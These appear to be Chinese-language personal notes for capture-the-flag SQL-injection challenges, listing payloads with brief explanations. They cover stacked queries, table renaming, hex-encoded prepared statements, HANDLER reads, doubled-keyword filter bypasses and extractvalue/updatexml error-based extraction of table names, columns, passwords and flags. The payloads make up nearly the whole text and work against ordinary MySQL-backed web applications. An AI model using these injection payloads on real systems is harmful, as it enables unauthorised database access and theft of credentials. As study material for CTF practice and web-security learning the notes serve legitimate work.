(1)表名为数字时,要用反引号包起来查询。
(2)查看全部数据库名
show databases
SELECT group_concat(SCHEMA_NAME) FROM information_schema.schemata;
1' or 1=1 #
1' order by 1 #
1' union select 1,2#
0'; show databases; #
0'; show tables; #
0'; show columns from words; #
0'; show columns from `1919810931114514`; #
换表名和字段名:
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
16进制:
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
handler:
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
1;show databases;
1;show tables;
解法1
输入的内容为*,1
内置的sql语句为"select".post[‘query’]."||flag from Flag";
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容
解法2
输入的内容为1;set sql_mode=pipes_as_concat;select 1
其中set sql_mode=pipes_as_concat的作用是将||的作用由or变为拼接字符串
(1)过滤掉了空格,用()进行绕过,用^来连接函数,形成异或
(2)
'or 1=1 -- qwe
'union select 1,2,3 -- qwe
'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe
'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'l0ve1ysq1' -- qwe
'union select 1,2,group_concat(id,username,password) from l0ve1ysq1 -- qwe
关键的字符都进行了过滤
'oorr 1=1 -- qwe
'oorr 1=1 oorrder bbyy 3-- qwe
'uunionnion sselectelect 1,2,3 -- qwe
'ununionion seselectlect 1,2,database() -- qwe
'ununionion seselectlect 1,2,group_concat(schema_name)frfromom (infoorrmation_schema.schemata) -- qwe
'ununionion seselectlect 1,2,group_concat(table_name) frfromom (infoorrmation_schema.tables) whwhereere table_schema="ctf" -- qwe
'ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag" -- qwe
'ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) -- qwe
①bp抓包进行fuzz测试一下
可以看到union和and都被过滤掉了,联合查询没了,那就尝试报错注入了,用updatexml()函数或extravalue()函数都行
注入过程中发现还过滤掉了空格,用()进行绕过,用^来连接函数,形成异或
②
?username=11&password=1'^extractvalue(1,concat(0x7e,(select(database()))))%23
③
username=11&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))))%23
④
username=11&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
⑤
username=44&password=1'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23
看到了flag,但是是不全的。。。
extractvalue函数一次只能查询32位长度,这里可以用right()查右边剩下的半部分
⑥
username=44&password=1'^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23
①
username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1
②
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1
③
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=1
④
username=admin'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=1
⑤
username=admin'or(updatexml(1,concat(0x7e,(select(left(password,25))from(H4rDsq1)),0x7e),1))%23&password=1
⑥
username=admin'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))%23&password=1
要到check.php那个界面在url中加入上面的语句